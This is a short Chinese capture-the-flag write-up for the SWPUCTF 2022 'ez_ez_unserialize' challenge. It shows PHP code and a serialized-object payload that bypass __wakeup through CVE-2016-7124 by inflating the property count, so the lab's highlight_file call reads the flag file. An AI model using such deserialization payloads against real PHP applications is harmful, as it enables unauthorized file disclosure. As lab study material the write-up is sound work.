NSS [SWPUCTF 2022 新生赛]ez_ez_unserialize
开题,直接给了题目源码。
简单看了一下,题目告诉我们flag在哪,而且类中有高亮文件方法。怎么拿flag已经很明显了。关键点在于__weakup()
魔术方法固定死了我们高亮的文件。所以这题只需要绕过__weakup()
。
PHP版本是5.5.38
我们可以使用使对象的属性数量不一致
凡凡来绕过
CVE-2016-7124
版本:PHP5 < 5.6.25、PHP7 < 7.0.10
版本满足,我们来编写EXP:
<?php
class X{
public $x ;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if($this->x !== __FILE__){
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
echo serialize(new X("fllllllag.php"));
生成的
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
payload:
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}